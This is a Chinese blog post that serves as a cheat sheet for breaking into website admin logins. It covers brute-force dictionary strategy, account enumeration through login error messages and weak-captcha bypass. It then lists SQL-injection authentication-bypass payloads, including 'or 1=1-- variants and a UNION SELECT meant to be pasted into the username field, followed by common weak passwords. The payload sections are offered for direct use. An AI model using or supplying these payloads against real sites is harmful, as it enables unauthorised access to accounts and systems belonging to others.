网站后台万能密码/10大常用弱口令

方法 / 步骤

一: 手动探测

先手动猜测几个可能的弱口令,主要是判断站点有没有做登录失败次数限制,若没有限制,则可以使用工具字典工具进行测试

二: 使用字典测试

2.1 字典生成思路

国内很多安全测试团队,常用的弱口令检测方案一般有由以下依据组成

  • 姓名的全拼+数字 / 姓名首字母+数字 / 姓全拼+名的首字母+数字;

  • 键盘分布或 Shift+键盘布局;

  • 好记的数字/ 字母组合: 比如工号,特殊节日、纪念日、年月;

  • 特殊含义的单词、好记的特殊字符组合、特殊含义的字母用数字替换等。

  • 国内常用名TOP 常见组合;

2.2 字典使用策略

收集相关信息,使用社工字典生成等针对该服务工具,可对用户名和密码同时测试,也可以通过用户名登录失败返回的信息判断这个账号在系统中是否存在,如果存在则可以进一步进行对该账号的密码检测。

但现在很多服务为了防止系统遭受暴力请求/DDOS攻击 / 识别用户身份等 会使用验证码机制。通常在网站的 登录/密码找回/用户注册 使用验证码,但当这些验证码具有一定的规律性并且没有做好对应的防护措施时会导致攻击者通过爆破等方式猜解/绕过验证码机制,可导致任意用户注册、批量注册无用账户、重置任意用户密码、获取系统权限等危害。

常见的验证码主要有图片验证码,邮件/短信验证码, 滑动/语音验证码。

2.3 弱口令常用文本

'xor
'or''='
'or'='or'
"or "a"="a
')or('a'='a
'or'a'='a
"or"="a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1
"or 1=1

2.4 DB注入常用检测若口令:

  • 用户名

      通常是替换表名admin(将下面整个复制粘贴到用户名输入框)

' UNION Select 1,1,1 FROM admin Where ''='

  • 密码:  1

2.5 PHP万能密码/弱口令:

'or 1=1/*

2.6 JSP站点常用/万能密码/弱口令:

1'or'1'='1
12345
123456
1234567
12345678
123456789
Password
P@ssw0rd
abc123

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OxYGC

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值